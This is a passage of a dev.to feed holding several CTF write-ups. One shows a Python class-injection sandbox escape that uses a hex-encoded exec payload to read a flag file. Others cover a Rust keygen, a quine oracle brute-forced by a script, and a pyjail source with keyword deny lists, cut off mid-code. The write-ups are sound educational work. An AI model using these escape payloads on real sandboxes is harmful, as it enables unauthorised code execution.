&lt;p&gt;&lt;em&gt;Originally written by Max&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  First analysis
&lt;/h3&gt;

&lt;p&gt;It seems we can write a class to a file, and open that class.&lt;br&gt;
But we also have restrictions on what we can write that are applied when input gets validated by &lt;code&gt;get_legal_code&lt;/code&gt;.&lt;br&gt;
When running and selecting &lt;code&gt;1. Write new class&lt;/code&gt; we are prompted with&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;{class name}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;{parent}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;{number of methods}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;for each method:

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;{name{i}}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;{params{i}}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;{body{i}}&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;and out class will look like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;class {class name}({parent}):
  def {name{1}}({params{1}}):
    {body{1}}

  def {name{2}}({params{2}}):
    {body{2}}
  ...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In &lt;code&gt;exec_class()&lt;/code&gt; our class gets printed, so &lt;code&gt;my_class.__repr__()&lt;/code&gt; gets run to get it's string representation.&lt;/p&gt;

&lt;h3&gt;
  
  
  Resolution
&lt;/h3&gt;

&lt;p&gt;Since we can not write parentheses we want to highjack some.&lt;br&gt;
If we can remove &lt;code&gt;def&lt;/code&gt; in &lt;code&gt;def {name{2}}({params{2}}):&lt;/code&gt; we would get closer to calling any funciton with any parameter.&lt;br&gt;
Fortunatley there are multiline strings, so now our payload looks like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;class MyClass():
  def __repr__(self): # gets called when `exec_class` is called
    a="""

  def """;exec({params{2}}):
    {body{2}}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We still have a problem:&lt;br&gt;
the colon at the end of &lt;code&gt;def {name{2}}({params{2}}):&lt;/code&gt; gives us a syntax error since it is not valid python code.&lt;br&gt;
This can be fixed by making it look like we are using that result to index an array, since &lt;code&gt;[][f(x):2]&lt;/code&gt; is valid python code&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;class MyClass():
  def __repr__(self): # gets called when `exec_class` is called
    a="""

  def """;[][exec({params{2}}):
    2]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;great, we can call any function!&lt;br&gt;
now we just put &lt;code&gt;"print(open('/tmp/flag.txt').readlines())"&lt;/code&gt; as a hexstring into &lt;code&gt;{params{2}}&lt;/code&gt; to avoid parentheses invalidating our payload and we have our evil class&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;MyClass&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__repr__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="c1"&gt;# gets called when `exec_class` is called
&lt;/span&gt;    &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"""

  def """&lt;/span&gt;&lt;span class="p"&gt;;[][&lt;/span&gt;&lt;span class="k"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x70\x72\x69\x6e\x74\x28\x6f\x70\x65\x6e\x28\x27\x2f\x74\x6d\x70\x2f\x66\x6c\x61\x67\x2e\x74\x78\x74\x27\x29\x2e\x72\x65\x61\x64\x6c\x69\x6e\x65\x73\x28\x29\x29&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;By writing such class, then selecting &lt;code&gt;2. Run class&lt;/code&gt; and providing the class name we get the &lt;code&gt;__repr__&lt;/code&gt; method to be run that in turn runs the &lt;code&gt;exec&lt;/code&gt; which prints the file and we get the flag!&lt;/p&gt;

</description>
    </item>
    <item>
      <title>chicago</title>
      <dc:creator>VaiTon</dc:creator>
      <pubDate>Mon, 20 Mar 2023 17:42:43 +0000</pubDate>
      <link>https://dev.to/ulisse/chicago-1hai</link>
      <guid>https://dev.to/ulisse/chicago-1hai</guid>
      <description>&lt;h3&gt;
  
  
  Challenge description
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;Keygenme...sort of&lt;/p&gt;

&lt;p&gt;Author: &lt;code&gt;akhbaar&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  The keygen
&lt;/h3&gt;

&lt;p&gt;As usual, we start by trying to run the executable.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;./chicago
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;but unfortunately, we get&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;... Bad lenght! ...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Opening the file with ghidra, we see that the file is a rust compiled executable, with &lt;strong&gt;A TON&lt;/strong&gt; of functions (I suppose from the rust standard library). After some time we find the &lt;code&gt;main&lt;/code&gt;, with an interesting portion of code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;local_1a8&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;FUN_00107480&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Bad length ...&lt;/span&gt;&lt;span class="err"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So the length of the input must be at least 10.&lt;br&gt;
Also, after some analysis and variable renaming, we find that&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;actual_num&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mh"&gt;0x30&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// 0x30 is the ascii code for '0'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So every character of the input must be a digit.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(((&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;actual_num&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;actual_num&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;L'4'&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uint&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;actual_num&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uint&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;)((&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;actual_num&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xff&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="p"&gt;)((&lt;/span&gt;&lt;span class="n"&gt;actual_num&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xff&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So if the index of the character is odd, we multiply it by 2.&lt;br&gt;
Also, if the original number is greater than 4, we replace it with $x + x / 10 * -9$, where $x$ is the original number.&lt;/p&gt;

&lt;p&gt;Then, at least that's what I thought, it gets compared to the first character of the input, and if it's equal we get the flag.&lt;/p&gt;

&lt;h3&gt;
  
  
  The real keygen
&lt;/h3&gt;

&lt;p&gt;After spending much more time than I should have, and after writing a python script to bruteforce the flag, I was so surprised when the first number it tried checked all the conditions.&lt;/p&gt;

&lt;p&gt;As you could have guessed, the first and most obvious string that my script tried was &lt;code&gt;0000000000&lt;/code&gt;, and it worked 😭.&lt;/p&gt;

&lt;p&gt;To get the flag, I then just had to run the program with &lt;code&gt;./chicago 0000000000&lt;/code&gt;.&lt;/p&gt;

</description>
      <category>ctf</category>
    </item>
    <item>
      <title>padlock</title>
      <dc:creator>VaiTon</dc:creator>
      <pubDate>Mon, 20 Mar 2023 17:11:38 +0000</pubDate>
      <link>https://dev.to/ulisse/padlock-2egi</link>
      <guid>https://dev.to/ulisse/padlock-2egi</guid>
      <description>&lt;h3&gt;
  
  
  Challenge description
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;Mindblown by ioccc? How can someone write programs like this... Anyway, try open this padlock :)&lt;/p&gt;

&lt;p&gt;Author: bronson113&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  First analysis
&lt;/h3&gt;

&lt;p&gt;The source code is a C program that prints itself.&lt;br&gt;
It's a quine, a program that prints its own source code.&lt;/p&gt;

&lt;p&gt;If we compile the program and run it, we are welcomed by a&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;zsh: segmentation fault  ./quine
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Maybe it needs some arguments? Let's try with &lt;code&gt;./quine 1&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;//X
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I won't repeat the program source code here, but keep in mind that when I put ... it means that the source code of the program is repeated.&lt;/p&gt;

&lt;p&gt;Let's try with a bigger number, like &lt;code&gt;./quine 1000&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;//XXXX
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So the program does print a variable number of Xs somewhat depending on the argument.&lt;br&gt;
Let's try with &lt;code&gt;./quine abcd&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;//XXXX
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The output is the same, so the number of Xs depends only on the length of the argument.&lt;/p&gt;

&lt;p&gt;With the help of a little python, we can find that sometimes, instead of an &lt;code&gt;X&lt;/code&gt;, the program prints an &lt;code&gt;O&lt;/code&gt;.&lt;br&gt;
For example, with &lt;code&gt;./quine b&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// O
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The first idea was to bruteforce the flag, but as the number of Xs and Os could be &amp;gt; 10, it could take a long time.&lt;br&gt;
So I decided to try to find a pattern in the output.&lt;/p&gt;
&lt;h3&gt;
  
  
  Finding the pattern
&lt;/h3&gt;

&lt;p&gt;I wrote a python script that prints the output of the program for strings of N chars made of the same char, for every char.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ ./quine aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
//XXXXXXXXXXXXXXXXXXOXXXXXXXXXXX
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ ./quine bbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
//OXXXXXXXXXXXXXXXXXXOXXXXXXXXXX
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The pattern starts to emerge. We get an O when the char is the same as the flag char on that position. We get an X when the char is different from the flag char on that position.&lt;/p&gt;

&lt;h3&gt;
  
  
  Finding the flag
&lt;/h3&gt;

&lt;p&gt;Now that we know the pattern, we can find the flag. We just need to bruteforce every letter and keep the one in the positions where we get an O.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;subprocess&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;string&lt;/span&gt;

&lt;span class="n"&gt;CHAR_N&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;70&lt;/span&gt;
&lt;span class="n"&gt;flag&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;CHAR_N&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;ch&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;printable&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;proc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Popen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;"./quine"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ch&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;CHAR_N&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;stdin&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;PIPE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;stdout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;PIPE&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stdout&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;stderr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;proc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;communicate&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;stdout&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s"&gt;"O"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ch&lt;/span&gt;

&lt;span class="n"&gt;flag&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and we get the flag:&lt;br&gt;
&lt;code&gt;bctf{qu1n3_1s_4ll_ab0ut_r3p371t10n_4nD_m4n1pul4710n_OwO_OuO_UwU}&lt;/code&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Blacklist</title>
      <dc:creator>VaiTon</dc:creator>
      <pubDate>Mon, 20 Mar 2023 14:25:53 +0000</pubDate>
      <link>https://dev.to/ulisse/blacklist-4m56</link>
      <guid>https://dev.to/ulisse/blacklist-4m56</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Writeup of the Blacklist challenge from B01lers CTF 2023&lt;br&gt;
&lt;em&gt;Originally written by &lt;strong&gt;Lombax&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Challenge description
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;you can run anything on this! please dont hack me&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Source code
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;blacklist&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"._0x/|?*[]{}&amp;lt;&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s"&gt;'=()&lt;/span&gt;&lt;span class="se"&gt;\\\t&lt;/span&gt;&lt;span class="s"&gt; "&lt;/span&gt;
&lt;span class="n"&gt;blacklist2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;'eval'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;'exec'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;'compile'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;'import'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;'os'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;'sys'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;'cat'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;'ls'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;'exit'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;'list'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;'max'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;'min'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;'set'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;'tuple'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;validate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;char&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;blacklist&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;char&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;word&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;blacklist2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;word&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s"&gt;'__main__'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"------------------------------"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Welcome to my very cool python interpreter! &lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;I hope I blacklisted enough... &lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;You can never be too careful with these things..."&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Send an empty line to run!"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"------------------------------"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;safe_code&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;""&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;unsafe_code&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"&amp;gt;&amp;gt;&amp;gt; "&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;unsafe_code&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="k"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;safe_code&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;except&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Error executing!"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;break&lt;/span&gt;
        &lt;span class="n"&gt;unsafe_code&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;unsafe_code&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"open"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
